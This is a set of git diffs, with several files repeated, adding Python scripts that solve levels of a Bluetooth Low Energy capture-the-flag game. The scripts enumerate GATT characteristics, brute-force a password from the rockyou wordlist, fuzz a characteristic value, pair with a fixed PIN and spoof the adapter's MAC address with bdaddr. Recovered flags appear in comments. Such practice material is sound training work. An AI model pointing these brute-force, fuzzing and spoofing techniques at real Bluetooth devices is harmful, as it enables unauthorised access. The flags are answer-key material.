+                pairing_status = True
+            else: # i == 1
+                print('wrong PIN, retrying if time will allow') 
+    except pexpect.EOF:
+        print ('!!!!!!!! EOF')
+    except pexpect.TIMEOUT:
+        print ('!!!!!!!! TIMEOUT')
+        
+    # hide Pi's bluetooth for security reasons
+    child.sendline('pairable off')
+    child.expect("pairable off succeeded")
+    child.sendline('discoverable off')
+    child.expect("discoverable off succeeded")    
+    child.close()
+    
+    return pairing_status
+
+#main program body
+PAIRING_TIME_LIMIT = 60
+BT_PIN = "0000" # random.randint(1000,10000)    # generate random 4-digit PIN 1000..9999
+
+deviceMAC = open('ctf_mac.txt').read()  
+p = btle.Peripheral(deviceMAC)
+svc=p.getServiceByUUID(0x00FF)
+print ("Attached to peripheral")
+
+print("Loading level 02")
+hex1 = binascii.unhexlify(str('%0*x' % (4,3)))
+p.writeCharacteristic(0x30, hex1, withResponse=False)
+
+p.disconnect()
+
+status = pair_with_pin(int(time.time()), str(BT_PIN), PAIRING_TIME_LIMIT)
+if status == True:
+    print('Pairing successful')
\ No newline at end of file
diff --git a/lvl_04.py b/lvl_04.py
new file mode 100755
index 0000000..21ede3e
--- /dev/null
+++ b/lvl_04.py
@@ -0,0 +1,104 @@
+#! /usr/bin/python
+import binascii
+import struct
+import sys, os, time
+import bluepy.btle as btle
+import itertools
+  
+'''
+42  0x2A   READ         Handle 0x002C takes value AABBCCDDEEFF. Fuzz a varient of this to find the flag!
+44  0x2C   NOTIFY WRITE 
+46  0x2E   READ WRITE   write here to goto to scoreboard
+
+Flag: f401f21d02fdd0a4fc00
+'''
+
+notificationData = ""
+
+class MyDelegate(btle.DefaultDelegate):
+  def __init__(self, hndl):
+    btle.DefaultDelegate.__init__(self)
+    self.hndl=hndl;
+
+  def handleNotification(self, cHandle, data):
+    global notificationData
+    notificationData = data
+    #print("d: "+data)
+
+deviceMAC = open('ctf_mac.txt').read()  
+p = btle.Peripheral(deviceMAC)
+
+print ("Attached to peripheral")
+
+print("Loading level 04")
+hex1 = binascii.unhexlify(str('%0*x' % (4,4)))
+p.writeCharacteristic(0x30, hex1, withResponse=False)
+p.disconnect()
+
+'''
+# of course not, this brute-force would make sense!
+charset = "01234565789ABCDEF"
+generator = itertools.chain.from_iterable((''.join(l)
+  for l in itertools.product(charset, repeat=i))
+  for i in range(4,5))
+'''
+
+'''
+# not this!
+print("Generating wordlist")
+charset = "01234565789ABCDEF"
+generator = itertools.chain.from_iterable((''.join(l)
+  for l in itertools.product(charset, repeat=i))
+  for i in range(12,13))
+'''
+
+print("Generating wordlist")
+generator = list()
+charset = list("0123456789ABCDEF")
+origPass = list("AABBCCDDEEFF")
+for x in range(len(origPass)): 
+  newPass = list("AABBCCDDEEFF")
+  for y in range(len(charset)):
+    newPass = list("AABBCCDDEEFF")
+    newPass[x] = charset[y]
+    generator.append("".join(newPass))
+
+for password in generator:
+  hexlif2 = binascii.unhexlify(password)
+  hexlif2 = str(hexlif2)
+
+  deviceMAC = open('ctf_mac.txt').read()  
+  p = btle.Peripheral(deviceMAC)
+
+  try:
+    srvs = (p.getServices());
+    chs=srvs[2].getCharacteristics();
+    ch=chs[1];
+    cccd = ch.valHandle + 1
+    #print(str(ch)+str(ch.propertiesToString())); # print charchteristic's properties i.e. READ, WRITE, NOTIFY
+
+    p.setDelegate(MyDelegate(ch.getHandle()));
+    svc=p.getServiceByUUID(0x00FF)
+    p.writeCharacteristic(cccd, b"\x01\x00");
+
+    sys.stdout.write("\rTrying: %s" % password.rstrip())
+    response = p.writeCharacteristic(0x2C, hexlif2)
+
+    gotResponse = False
+    while gotResponse == False:
+      if p.waitForNotifications(1.0):
+        rsp = notificationData
+        hex = binascii.b2a_hex(rsp)
+        hexstr = str(hex).strip("0").upper()
+        #sys.stdout.write(" Response: " + hexstr) # for debugging
+        
+        if(password.strip("0") != hexstr):
+          print(" Flag: %s" % notificationData.rstrip())
+          exit()
+        else:
+          gotResponse = True
+          continue
+      print "Waiting..."    
+    
+  finally:            
+    p.disconnect()
\ No newline at end of file
diff --git a/lvl_05.py b/lvl_05.py
new file mode 100755
index 0000000..f98d9b9
--- /dev/null
+++ b/lvl_05.py
@@ -0,0 +1,38 @@
+#! /usr/bin/python
+import binascii
+import struct
+import sys, os, time
+import bluepy.btle as btle
+  
+'''
+42  0x2A   READ         find a valid write value in this pcap to use below
+44  0x2C   READ WRITE   https://github.com/hackgnar/ble_ctf_infinity/blob/master/gatt_servers/pcap_write/write_sample.pcap
+46  0x2E   READ WRITE   write here to goto to scoreboard
+
+84cf61c35b2d9c92217d
+'''
+
+deviceMAC = open('ctf_mac.txt').read()  
+p = btle.Peripheral(deviceMAC)
+svc=p.getServiceByUUID(0x00FF)
+print ("Attached to peripheral")
+
+print("Loading level 05")
+hex1 = binascii.unhexlify(str('%0*x' % (4,5)))
+p.writeCharacteristic(0x30, hex1, withResponse=False)
+
+print("Sending \"121212121222\" to 0x2c")
+
+services=p.getServices()
+
+hexlif2 = binascii.unhexlify("121212121222")
+hexlif2 = str(hexlif2)
+response = p.writeCharacteristic(0x2C, hexlif2, True)
+
+print("Reading value")
+hex1 = p.readCharacteristic(0x2C)
+hex2 = binascii.b2a_hex(hex1) 
+hexlif2 = str(binascii.unhexlify(hex2))
+print("Flag: %s" % hexlif2)
+
+p.disconnect()
\ No newline at end of file
diff --git a/lvl_05_solution.png b/lvl_05_solution.png
new file mode 100644
index 0000000..310f5c6
--- /dev/null
+++ b/lvl_05_solution.png
Binary files differ
diff --git a/lvl_06.py b/lvl_06.py
new file mode 100755
index 0000000..a2cd758
--- /dev/null
+++ b/lvl_06.py
@@ -0,0 +1,32 @@
+#! /usr/bin/python
+import binascii
+import struct
+import sys, os, time
+import bluepy.btle as btle
+import subprocess
+  
+'''
+42  0x2A   READ         Connect with mac 11:22:33:44:55:66. Try using bluez's bdaddr
+44  0x2C   READ 
+46  0x2E   READ WRITE   write here to goto to scoreboard
+
+'''
+
+deviceMAC = open('ctf_mac.txt').read()  
+p = btle.Peripheral(deviceMAC)
+svc=p.getServiceByUUID(0x00FF)
+print ("Attached to peripheral")
+
+print("Loading level 06")
+hex1 = binascii.unhexlify(str('%0*x' % (4,5)))
+p.writeCharacteristic(0x30, hex1, withResponse=False)
+
+subprocess.call(['bdaddr','-i', 'hci0','11:22:33:44:55:66', '0'])
+
+print("Reading value")
+hex1 = p.readCharacteristic(0x2C)
+hex2 = binascii.b2a_hex(hex1) 
+hexlif2 = str(binascii.unhexlify(hex2))
+print("Flag: %s" % hexlif2)
+
+p.disconnect()
\ No newline at end of file
diff --git a/notes.txt b/notes.txt
new file mode 100644
index 0000000..71efc09
--- /dev/null
+++ b/notes.txt
@@ -0,0 +1,4 @@
+Search for MAC addresses around:
+	hcitool lescan
+enumerate the MAC
+	bleah -b 11:22:33:44:55:66 -e
\ No newline at end of file

diff --git a/ctf_mac.txt b/ctf_mac.txt
new file mode 100644
index 0000000..ff07818
--- /dev/null
+++ b/ctf_mac.txt
@@ -0,0 +1 @@
+3c:71:bf:f1:ef:c6
\ No newline at end of file
diff --git a/enumerate.py b/enumerate.py
new file mode 100755
index 0000000..9994109
--- /dev/null
+++ b/enumerate.py
@@ -0,0 +1,23 @@
+#! /usr/bin/python
+import binascii
+import struct
+import sys, os, time
+import bluepy.btle as btle
+  
+deviceMAC = open('ctf_mac.txt').read()  
+p = btle.Peripheral(deviceMAC)
+print ("Attached to peripheral")
+services=p.getServices()
+for service in services:
+   print (service)
+   q = service.getCharacteristics()
+   for characteristic in q:
+      hex1 = int(format(characteristic.getHandle(),'02X'), 16)
+      if (characteristic.supportsRead()):
+         hex2 = binascii.b2a_hex(p.readCharacteristic(hex1))
+         hexlif2 = binascii.unhexlify(hex2)
+         print (str(hex1)+"  0x"+ format(characteristic.getHandle(),'02X')  +"   "+ characteristic.propertiesToString() + "	" + hexlif2)
+      else:
+      	 print (str(hex1)+"  0x"+ format(characteristic.getHandle(),'02X')  +"   "+ characteristic.propertiesToString() )
+  
+p.disconnect()
\ No newline at end of file
diff --git a/enumerate.sh b/enumerate.sh
new file mode 100755
index 0000000..59cb9a5
--- /dev/null
+++ b/enumerate.sh
@@ -0,0 +1,2 @@
+#!/bin/bash
+bleah -b `cat ctf_mac.txt` -e
\ No newline at end of file
diff --git a/level_04.py b/level_04.py
new file mode 100644
index 0000000..252cefb
--- /dev/null
+++ b/level_04.py
@@ -0,0 +1,46 @@
+#! /usr/bin/python
+import binascii
+import struct
+import sys, os, time
+import bluepy.btle as btle
+  
+'''
+42  0x2A   READ         Handle 0x002C takes value AABBCCDDEEFF. Fuzz a varient of this to find the flag!
+44  0x2C   NOTIFY WRITE 
+46  0x2E   READ WRITE   write here to goto to scoreboard
+'''
+
+deviceMAC = open('ctf_mac.txt').read()  
+p = btle.Peripheral(deviceMAC)
+svc=p.getServiceByUUID(0x00FF)
+print ("Attached to peripheral")
+
+print("Loading level 04")
+hex1 = binascii.unhexlify(str('%0*x' % (4,2)))
+p.writeCharacteristic(0x30, hex1, withResponse=False)
+
+password = "AABBCCDDEEFF"
+
+sys.stdout.write("\rTrying: %s                                          " % password.rstrip())
+response = p.writeCharacteristic(0x2C, password.rstrip(), withResponse=True)
+while True:
+  if p.waitForNotifications(1.0):
+    # handleNotification() was called
+    continue
+    print "Waiting..."    
+     
+    #hex1 = p.readCharacteristic(0x2C)
+    #hex2 = binascii.b2a_hex(hex1) 
+    #hexlif2 = str(binascii.unhexlify(hex2))        
+            
+class MyDelegate(btle.DefaultDelegate):
+  def __init__(self, params):
+    btle.DefaultDelegate.__init__(self)
+    # ... initialise here
+
+  def handleNotification(self, cHandle, data):
+    # ... perhaps check cHandle
+    # ... process 'data'
+    print("Data: "+data)
+
+p.disconnect()
\ No newline at end of file
diff --git a/load_level.py b/load_level.py
new file mode 100755
index 0000000..fd7da0f
--- /dev/null
+++ b/load_level.py
@@ -0,0 +1,60 @@
+#! /usr/bin/python
+import binascii
+import struct
+import sys, os, time
+import bluepy.btle as btle
+  
+chall_uuid = 0x30
+board_uuid = 0x2e
+score_uuid = 0x00ff
+
+if len(sys.argv) != 2:
+   print "Requires level no.:", sys.argv[0], "<0-9 or \"s\" for scoreboard>"
+   quit()
+
+deviceMAC = open('ctf_mac.txt').read()  
+p = btle.Peripheral(deviceMAC)
+#p.connect(deviceMAC, "public")
+if( sys.argv[1] == "s"):
+	# load scroebaord... hopefully
+	print("Loading scoreboard")
+	#deviceMAC = open('ctf_mac.txt').read()  
+	#p = btle.Peripheral(deviceMAC)
+	response = p.writeCharacteristic(board_uuid, "fuck you")
+else:
+	level = int(sys.argv[1])
+	level_hex = str('%0*x' % (4,level))
+	print level_hex
+
+	
+
+	#print ("Attached to peripheral")
+	#services = p.getServiceByUUID(score_uuid)
+	#char = services.getCharacteristics(chall_uuid)[0]  
+
+	print("Loading level")
+	#char.write(level_hex)
+	hex1 = binascii.unhexlify(level_hex)
+	response = p.writeCharacteristic(chall_uuid, hex1)
+
+print("If error try again...it takes a few attempts, BLE is a bit crap")
+p.disconnect()
+time.sleep(1)
+p = btle.Peripheral(deviceMAC)
+
+scoreboard = p.getServiceByUUID(score_uuid)
+q = scoreboard.getCharacteristics()
+scoreboard = p.getServiceByUUID(score_uuid)
+q = scoreboard.getCharacteristics()
+for characteristic in q:
+  hex1 = int(format(characteristic.getHandle(),'02X'), 16)
+  if (characteristic.supportsRead()):
+       #hex2 = binascii.b2a_hex(p.readCharacteristic(hex1))
+       #hexlif2 = binascii.unhexlify(hex2)
+       hexlif2 = characteristic.read()
+       
+       print (str(hex1)+"  0x"+ format(characteristic.getHandle(),'02X')  +"   "+ characteristic.propertiesToString() + "	" + hexlif2)
+       
+  else:
+  	 print (str(hex1)+"  0x"+ format(characteristic.getHandle(),'02X')  +"   "+ characteristic.propertiesToString() )
+p.disconnect()
diff --git a/lvl_00.py b/lvl_00.py
new file mode 100755
index 0000000..de7cb6f
--- /dev/null
+++ b/lvl_00.py
@@ -0,0 +1,29 @@
+#! /usr/bin/python
+import binascii
+import struct
+import sys, os, time
+import bluepy.btle as btle
+  
+'''
+simply follow the example https://github.com/hackgnar/ble_ctf_infinity
+to ensure know how to read and write to charachteristics and know the basics of how to navigate the game
+understand GATT services, charachteristics and handles.. the basics.
+'''
+
+deviceMAC = open('ctf_mac.txt').read()  
+p = btle.Peripheral(deviceMAC)
+print ("Attached to peripheral")
+
+handle = "0x2e"
+content = "12345678901234567890"
+
+print("Sending \"12345678901234567890\" to 0x2e")
+
+services=p.getServices()
+
+hex_int = int(handle, 16)
+hex1 = binascii.hexlify(handle)
+response = p.writeCharacteristic(hex_int, content, True)
+print("Done")
+
+p.disconnect()
\ No newline at end of file
diff --git a/lvl_01.py b/lvl_01.py
new file mode 100755
index 0000000..f4046b7
--- /dev/null
+++ b/lvl_01.py
@@ -0,0 +1,29 @@
+#! /usr/bin/python
+import binascii
+import struct
+import sys, os, time
+import bluepy.btle as btle
+  
+'''
+42  0x2A   READ         goodbye 👋
+
+fc3fd58dcdad9ab23fac
+'''
+
+deviceMAC = open('ctf_mac.txt').read()  
+p = btle.Peripheral(deviceMAC)
+svc=p.getServiceByUUID(0x00FF)
+print ("Attached to peripheral")
+
+print("Loading level 1")
+hex1 = binascii.unhexlify(str('%0*x' % (4,1)))
+p.writeCharacteristic(0x30, hex1, withResponse=False)
+
+
+print("Reading value")
+hex1 = p.readCharacteristic(0x2C)
+hex2 = binascii.b2a_hex(hex1) 
+hexlif2 = str(binascii.unhexlify(hex2))
+print("Flag: %s" % hexlif2)
+
+p.disconnect()
\ No newline at end of file
diff --git a/lvl_02.py b/lvl_02.py
new file mode 100755
index 0000000..b6665d8
--- /dev/null
+++ b/lvl_02.py
@@ -0,0 +1,41 @@
+#! /usr/bin/python
+import binascii
+import struct
+import sys, os, time
+import bluepy.btle as btle
+  
+'''
+42  0x2A   READ WRITE   Enter password here. Use rockyou.
+44  0x2C   READ 
+46  0x2E   READ WRITE   write here to goto to scoreboard
+
+password1234 - eca7d1f3cf60a8b5344a
+'''
+
+rockyou = "/opt/SecLists/Passwords/Leaked-Databases/rockyou.txt"
+
+deviceMAC = open('ctf_mac.txt').read()  
+p = btle.Peripheral(deviceMAC)
+svc=p.getServiceByUUID(0x00FF)
+print ("Attached to peripheral")
+
+print("Loading level 02")
+hex1 = binascii.unhexlify(str('%0*x' % (4,2)))
+p.writeCharacteristic(0x30, hex1, withResponse=False)
+
+with open(rockyou) as f: 
+    for password in f: 
+    
+        sys.stdout.write("\rTrying: %s                                          " % password.rstrip())
+        response = p.writeCharacteristic(0x2A, password.rstrip(), withResponse=True)
+        
+        hex1 = p.readCharacteristic(0x2C)
+        hex2 = binascii.b2a_hex(hex1) 
+        hexlif2 = str(binascii.unhexlify(hex2))
+        
+        if hexlif2 <> "":
+           print "\rPassword Found: %s" % password.rstrip() 
+           print "Flag: %s" % hexlif2
+           break; 
+            
+p.disconnect()
\ No newline at end of file
diff --git a/lvl_03.py b/lvl_03.py
new file mode 100755
index 0000000..bc95b86
--- /dev/null
+++ b/lvl_03.py
@@ -0,0 +1,110 @@
+#!/usr/bin/env python
+# -*- coding: utf-8 -*-
+from __future__ import print_function   # import print from python3: end=""
+import time   
+import re
+import pexpect    # sudo apt-get install python-pexpect
+import subprocess
+import random
+import binascii
+import struct
+import sys, os, time
+import bluepy.btle as btle
+
+'''
+Service <uuid=Heart Rate handleStart=40 handleEnd=65535>
+42  0x2A   READ         Connect with pin 0000. Try using bluetoothctl
+
+b46fa238cf820d0f60c1
+'''
+
+# !!! make sure bluetoothd runs in --compat mode before executing this script !!!
+def pair_with_pin(start_time, pin, time_limit=60):  # int(time.time()), pin - \d{4}, time_limit - approximate pairing window time in seconds, it might take up to 2x (nested timeout conditions)
+    "exectutes pairing with entered PIN on bluetooth adapter side"
+    try:
+
+        newpid = os.fork()
+        if newpid == 0:
+            '''
+            Start bluepy stuff
+            '''
+            subprocess.call(['hciconfig','hci0','down'])
+            subprocess.call(['hciconfig','hci0','up'])
+
+            deviceMAC = open('ctf_mac.txt').read()  
+            p = btle.Peripheral(deviceMAC)
+            svc=p.getServiceByUUID("0000180d-0000-1000-8000-00805f9b34fb")
+            print ("Attached to peripheral")  
+            hex1 = p.readCharacteristic(0x2C)
+            hex2 = binascii.b2a_hex(hex1) 
+            hexlif2 = str(binascii.unhexlify(hex2))
+            print("Flag: "+hexlif2) 
+            p.disconnect()
+            exit()
+        else:
+            '''
+            Start actual pair stuff 
+            '''
+            subprocess.call(['hciconfig','hci0','sspmode', '0'])
+            
+            # bluetoothctl 
+            child = pexpect.spawn('bluetoothctl')
+            child.logfile = open("/tmp/mylog", "w")
+            child.expect("#")
+            child.sendline('agent off') # might be unnecessary
+            #child.sendline('scan on') # might be unnecessary
+            child.expect("unregistered")
+            
+            child.sendline('agent KeyboardDisplay ')
+            child.expect("Agent registered")
+            child.sendline('pairable on')
+            child.expect("pairable on succeeded")
+            child.sendline('discoverable on')
+            child.expect("discoverable on succeeded")
+            child.sendline('default-agent')
+            child.sendline('remove 3c:71:bf:f1:ef:c6')
+            child.sendline('pair 3c:71:bf:f1:ef:c6')
+
+            child.expect('Request passkey', timeout = time_limit )   # timeout <= PAIRING_TIME_LIMIT to keep some kind of logic
+            print ('Sending PIN: ' + pin) 
+            child.sendline(pin)
+            i = child.expect(['Paired: yes', 'Enter passkey:'], timeout = time_limit)
+            if i == 0: # found 'Paired: yes' == successful pairing
+                trust_mac = 'trust ' + re.search(r'(?:[0-9a-fA-F]:?){12}.+$', child.before).group(0)    # extract MAC from last line, one with 'Paired: Yes'
+                child.sendline(trust_mac)   # optionally add device to trusted
+                child.expect('trust succeeded', timeout = 10)                
+                pairing_status = True
+            else: # i == 1
+                print('wrong PIN, retrying if time will allow') 
+    except pexpect.EOF:
+        print ('!!!!!!!! EOF')
+    except pexpect.TIMEOUT:
+        print ('!!!!!!!! TIMEOUT')
+        
+    # hide Pi's bluetooth for security reasons
+    child.sendline('pairable off')
+    child.expect("pairable off succeeded")
+    child.sendline('discoverable off')
+    child.expect("discoverable off succeeded")    
+    child.close()
+    
+    return pairing_status
+
+#main program body
+PAIRING_TIME_LIMIT = 60
+BT_PIN = "0000" # random.randint(1000,10000)    # generate random 4-digit PIN 1000..9999
+
+deviceMAC = open('ctf_mac.txt').read()  
+p = btle.Peripheral(deviceMAC)
+svc=p.getServiceByUUID(0x00FF)
+print ("Attached to peripheral")
+
+print("Loading level 02")
+hex1 = binascii.unhexlify(str('%0*x' % (4,3)))
+p.writeCharacteristic(0x30, hex1, withResponse=False)
+
+p.disconnect()
+
+status = pair_with_pin(int(time.time()), str(BT_PIN), PAIRING_TIME_LIMIT)
+if status == True:
+    print('Pairing successful')
\ No newline at end of file
diff --git a/lvl_04.py b/lvl_04.py
new file mode 100755
index 0000000..21ede3e
--- /dev/null
+++ b/lvl_04.py
@@ -0,0 +1,104 @@
+#! /usr/bin/python
+import binascii
+import struct
+import sys, os, time
+import bluepy.btle as btle
+import itertools
+  
+'''
+42  0x2A   READ         Handle 0x002C takes value AABBCCDDEEFF. Fuzz a varient of this to find the flag!
+44  0x2C   NOTIFY WRITE 
+46  0x2E   READ WRITE   write here to goto to scoreboard
+
+Flag: f401f21d02fdd0a4fc00
+'''
+
+notificationData = ""
+
+class MyDelegate(btle.DefaultDelegate):
+  def __init__(self, hndl):
+    btle.DefaultDelegate.__init__(self)
+    self.hndl=hndl;
+
+  def handleNotification(self, cHandle, data):
+    global notificationData
+    notificationData = data
+    #print("d: "+data)
+
+deviceMAC = open('ctf_mac.txt').read()  
+p = btle.Peripheral(deviceMAC)
+
+print ("Attached to peripheral")
+
+print("Loading level 04")
+hex1 = binascii.unhexlify(str('%0*x' % (4,4)))
+p.writeCharacteristic(0x30, hex1, withResponse=False)
+p.disconnect()
+
+'''
+# of course not, this brute-force would make sense!
+charset = "01234565789ABCDEF"
+generator = itertools.chain.from_iterable((''.join(l)
+  for l in itertools.product(charset, repeat=i))
+  for i in range(4,5))
+'''
+
+'''
+# not this!
+print("Generating wordlist")
+charset = "01234565789ABCDEF"
+generator = itertools.chain.from_iterable((''.join(l)
+  for l in itertools.product(charset, repeat=i))
+  for i in range(12,13))
+'''
+
+print("Generating wordlist")
+generator = list()
+charset = list("0123456789ABCDEF")
+origPass = list("AABBCCDDEEFF")
+for x in range(len(origPass)): 
+  newPass = list("AABBCCDDEEFF")
+  for y in range(len(charset)):
+    newPass = list("AABBCCDDEEFF")
+    newPass[x] = charset[y]
+    generator.append("".join(newPass))
+
+for password in generator:
+  hexlif2 = binascii.unhexlify(password)
+  hexlif2 = str(hexlif2)
+
+  deviceMAC = open('ctf_mac.txt').read()  
+  p = btle.Peripheral(deviceMAC)
+
+  try:
+    srvs = (p.getServices());
+    chs=srvs[2].getCharacteristics();
+    ch=chs[1];
+    cccd = ch.valHandle + 1
+    #print(str(ch)+str(ch.propertiesToString())); # print charchteristic's properties i.e. READ, WRITE, NOTIFY
+
+    p.setDelegate(MyDelegate(ch.getHandle()));
+    svc=p.getServiceByUUID(0x00FF)
+    p.writeCharacteristic(cccd, b"\x01\x00");
+
+    sys.stdout.write("\rTrying: %s" % password.rstrip())
+    response = p.writeCharacteristic(0x2C, hexlif2)
+
+    gotResponse = False
+    while gotResponse == False:
+      if p.waitForNotifications(1.0):
+        rsp = notificationData
+        hex = binascii.b2a_hex(rsp)
+        hexstr = str(hex).strip("0").upper()
+        #sys.stdout.write(" Response: " + hexstr) # for debugging
+        
+        if(password.strip("0") != hexstr):
+          print(" Flag: %s" % notificationData.rstrip())
+          exit()
+        else:
+          gotResponse = True
+          continue
+      print "Waiting..."    
+    
+  finally:            
+    p.disconnect()
\ No newline at end of file
diff --git a/lvl_05.py b/lvl_05.py
new file mode 100755
index 0000000..f98d9b9
--- /dev/null
+++ b/lvl_05.py
@@ -0,0 +1,38 @@
+#! /usr/bin/python
+import binascii
+import struct
+import sys, os, time
+import bluepy.btle as btle
+  
+'''
+42  0x2A   READ         find a valid write value in this pcap to use below
+44  0x2C   READ WRITE   https://github.com/hackgnar/ble_ctf_infinity/blob/master/gatt_servers/pcap_write/write_sample.pcap
+46  0x2E   READ WRITE   write here to goto to scoreboard
+
+84cf61c35b2d9c92217d
+'''
+
+deviceMAC = open('ctf_mac.txt').read()  
+p = btle.Peripheral(deviceMAC)
+svc=p.getServiceByUUID(0x00FF)
+print ("Attached to peripheral")
+
+print("Loading level 05")
+hex1 = binascii.unhexlify(str('%0*x' % (4,5)))
+p.writeCharacteristic(0x30, hex1, withResponse=False)
+
+print("Sending \"121212121222\" to 0x2c")
+
+services=p.getServices()
+
+hexlif2 = binascii.unhexlify("121212121222")
+hexlif2 = str(hexlif2)
+response = p.writeCharacteristic(0x2C, hexlif2, True)
+
+print("Reading value")
+hex1 = p.readCharacteristic(0x2C)
+hex2 = binascii.b2a_hex(hex1) 
+hexlif2 = str(binascii.unhexlify(hex2))
+print("Flag: %s" % hexlif2)
+
+p.disconnect()
\ No newline at end of file
diff --git a/lvl_05_solution.png b/lvl_05_solution.png
new file mode 100644
index 0000000..310f5c6
--- /dev/null
+++ b/lvl_05_solution.png
Binary files differ
diff --git a/lvl_06.py b/lvl_06.py
new file mode 100755
index 0000000..a2cd758
--- /dev/null
+++ b/lvl_06.py
@@ -0,0 +1,32 @@
+#! /usr/bin/python
+import binascii
+import struct
+import sys, os, time
+import bluepy.btle as btle
+import subprocess
+  
+'''
+42  0x2A   READ         Connect with mac 11:22:33:44:55:66. Try using bluez's bdaddr
+44  0x2C   READ 
+46  0x2E   READ WRITE   write here to goto to scoreboard
+
+'''
+
+deviceMAC = open('ctf_mac.txt').read()  
+p = btle.Peripheral(deviceMAC)
+svc=p.getServiceByUUID(0x00FF)
+print ("Attached to peripheral")
+
+print("Loading level 06")
+hex1 = binascii.unhexlify(str('%0*x' % (4,5)))
+p.writeCharacteristic(0x30, hex1, withResponse=False)
+
+subprocess.call(['bdaddr','-i', 'hci0','11:22:33:44:55:66', '0'])
+
+print("Reading value")
+hex1 = p.readCharacteristic(0x2C)
+hex2 = binascii.b2a_hex(hex1) 
+hexlif2 = str(binascii.unhexlify(hex2))
+print("Flag: %s" % hexlif2)
+
+p.disconnect()
\ No newline at end of file
diff --git a/notes.txt b/notes.txt
new file mode 100644
index 0000000..71efc09
--- /dev/null
+++ b/notes.txt
@@ -0,0 +1,4 @@
+Search for MAC addresses around:
+	hcitool lescan
+enumerate the MAC
+	bleah -b 11:22:33:44:55:66 -e
\ No newline at end of file
diff --git a/reset_scoreboard.py b/reset_scoreboard.py
new file mode 100755
index 0000000..43da655
--- /dev/null
+++ b/reset_scoreboard.py
@@ -0,0 +1,30 @@
+#! /usr/bin/python
+import binascii
+import struct
+import sys, os, time
+import bluepy.btle as btle
+  
+chall_uuid = 0x32
+score_uuid = 0x00ff
+
+deviceMAC = open('ctf_mac.txt').read()  
+p = btle.Peripheral(deviceMAC)
+print ("Attached to peripheral")
+services=p.getServices()
+
+print("Resetting scoreboard")
+hex1 = binascii.unhexlify("C1EA12")
+response = p.writeCharacteristic(chall_uuid, hex1, True)
+#print (response) 
+
+scoreboard = p.getServiceByUUID(score_uuid)
+#print(scoreboard)
+q = scoreboard.getCharacteristics()
+for characteristic in q:
+  hex1 = int(format(characteristic.getHandle(),'02X'), 16)
+  if (characteristic.supportsRead()):
+     hex2 = binascii.b2a_hex(p.readCharacteristic(hex1))
+     hexlif2 = binascii.unhexlify(hex2)
+     print (str(hex1)+"  0x"+ format(characteristic.getHandle(),'02X')  +"   "+ characteristic.propertiesToString() + "	" + hexlif2)
+  
+p.disconnect()
\ No newline at end of file

diff --git a/ctf_mac.txt b/ctf_mac.txt
new file mode 100644
index 0000000..ff07818
--- /dev/null
+++ b/ctf_mac.txt
@@ -0,0 +1 @@
+3c:71:bf:f1:ef:c6
\ No newline at end of file
diff --git a/enumerate.py b/enumerate.py
new file mode 100755
index 0000000..9994109
--- /dev/null
+++ b/enumerate.py
@@ -0,0 +1,23 @@
+#! /usr/bin/python
+import binascii
+import struct
+import sys, os, time
+import bluepy.btle as btle
+  
+deviceMAC = open('ctf_mac.txt').read()  
+p = btle.Peripheral(deviceMAC)
+print ("Attached to peripheral")
+services=p.getServices()
+for service in services:
+   print (service)
+   q = service.getCharacteristics()
+   for characteristic in q:
+      hex1 = int(format(characteristic.getHandle(),'02X'), 16)
+      if (characteristic.supportsRead()):
+         hex2 = binascii.b2a_hex(p.readCharacteristic(hex1))
+         hexlif2 = binascii.unhexlify(hex2)
+         print (str(hex1)+"  0x"+ format(characteristic.getHandle(),'02X')  +"   "+ characteristic.propertiesToString() + "	" + hexlif2)
+      else:
+      	 print (str(hex1)+"  0x"+ format(characteristic.getHandle(),'02X')  +"   "+ characteristic.propertiesToString() )
+  
+p.disconnect()
\ No newline at end of file
diff --git a/enumerate.sh b/enumerate.sh
new file mode 100755
index 0000000..59cb9a5
--- /dev/null
+++ b/enumerate.sh
@@ -0,0 +1,2 @@
+#!/bin/bash
+bleah -b `cat ctf_mac.txt` -e
\ No newline at end of file
diff --git a/level_04.py b/level_04.py
new file mode 100644
index 0000000..252cefb
--- /dev/null
+++ b/level_04.py
@@ -0,0 +1,46 @@
+#! /usr/bin/python
+import binascii
+import struct
+import sys, os, time
+import bluepy.btle as btle
+  
+'''
+42  0x2A   READ         Handle 0x002C takes value AABBCCDDEEFF. Fuzz a varient of this to find the flag!
+44  0x2C   NOTIFY WRITE 
+46  0x2E   READ WRITE   write here to goto to scoreboard
+'''
+
+deviceMAC = open('ctf_mac.txt').read()  
+p = btle.Peripheral(deviceMAC)
+svc=p.getServiceByUUID(0x00FF)
+print ("Attached to peripheral")
+
+print("Loading level 04")
+hex1 = binascii.unhexlify(str('%0*x' % (4,2)))
+p.writeCharacteristic(0x30, hex1, withResponse=False)
+
+password = "AABBCCDDEEFF"
+
+sys.stdout.write("\rTrying: %s                                          " % password.rstrip())
+response = p.writeCharacteristic(0x2C, password.rstrip(), withResponse=True)
+while True:
+  if p.waitForNotifications(1.0):
+    # handleNotification() was called
+    continue
+    print "Waiting..."    
+     
+    #hex1 = p.readCharacteristic(0x2C)
+    #hex2 = binascii.b2a_hex(hex1) 
+    #hexlif2 = str(binascii.unhexlify(hex2))        
+            
+class MyDelegate(btle.DefaultDelegate):
+  def __init__(self, params):
+    btle.DefaultDelegate.__init__(self)
+    # ... initialise here
+
+  def handleNotification(self, cHandle, data):
+    # ... perhaps check cHandle
+    # ... process 'data'
+    print("Data: "+data)
+
+p.disconnect()
\ No newline at end of file
diff --git a/load_level.py b/load_level.py
new file mode 100755
index 0000000..fd7da0f
--- /dev/null
+++ b/load_level.py
@@ -0,0 +1,60 @@
+#! /usr/bin/python
+import binascii
+import struct
+import sys, os, time
+import bluepy.btle as btle
+  
+chall_uuid = 0x30
+board_uuid = 0x2e
+score_uuid = 0x00ff
+
+if len(sys.argv) != 2:
+   print "Requires level no.:", sys.argv[0], "<0-9 or \"s\" for scoreboard>"
+   quit()
+
+deviceMAC = open('ctf_mac.txt').read()  
+p = btle.Peripheral(deviceMAC)
+#p.connect(deviceMAC, "public")
+if( sys.argv[1] == "s"):
+	# load scroebaord... hopefully
+	print("Loading scoreboard")
+	#deviceMAC = open('ctf_mac.txt').read()  
+	#p = btle.Peripheral(deviceMAC)
+	response = p.writeCharacteristic(board_uuid, "fuck you")
+else:
+	level = int(sys.argv[1])
+	level_hex = str('%0*x' % (4,level))
+	print level_hex
+
+	
+
+	#print ("Attached to peripheral")
+	#services = p.getServiceByUUID(score_uuid)
+	#char = services.getCharacteristics(chall_uuid)[0]  
+
+	print("Loading level")
+	#char.write(level_hex)
+	hex1 = binascii.unhexlify(level_hex)
+	response = p.writeCharacteristic(chall_uuid, hex1)
